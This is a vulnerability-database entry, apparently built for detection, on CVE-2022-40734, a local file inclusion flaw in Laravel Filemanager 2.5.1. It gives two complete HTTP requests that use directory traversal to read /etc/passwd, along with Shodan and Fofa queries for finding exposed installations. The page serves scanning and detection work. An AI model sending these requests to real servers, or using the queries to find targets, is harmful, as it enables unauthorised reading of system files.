🔙 목록으로 돌아가기

CVE-2022-40734: Laravel Filemanager v2.5.1 - Local File Inclusion

TitleLaravel Filemanager v2.5.1 - Local File Inclusion
Authorarafatansari
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, sensitive data exposure, and remote code execution.
RemediationUpgrade to a patched version of Laravel Filemanager v2.5.1 or apply the recommended security patches provided by the vendor.
CVSS Score6.5
EPSS Score0.92943
CVE IDCVE-2022-40734
CWE IDCWE-22
Shodan Queryhttp.html:"Laravel Filemanager"http.html:"laravel filemanager"
Fofa Querybody="laravel filemanager"
Tags cve cve2022 laravel unisharp lfi traversal vkev vuln

🔍 Vulnerability Description

Laravel Filemanager (aka UniSharp) through version 2.5.1 is vulnerable to local file inclusion via download?working_dir=%2F.

🌐 HTTP Request

GET /download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /laravel-filemanager/download?working_dir=%2F../../../../../../../../../../../../../../../../../../../etc&type=Files&file=passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-40734.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-40734.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A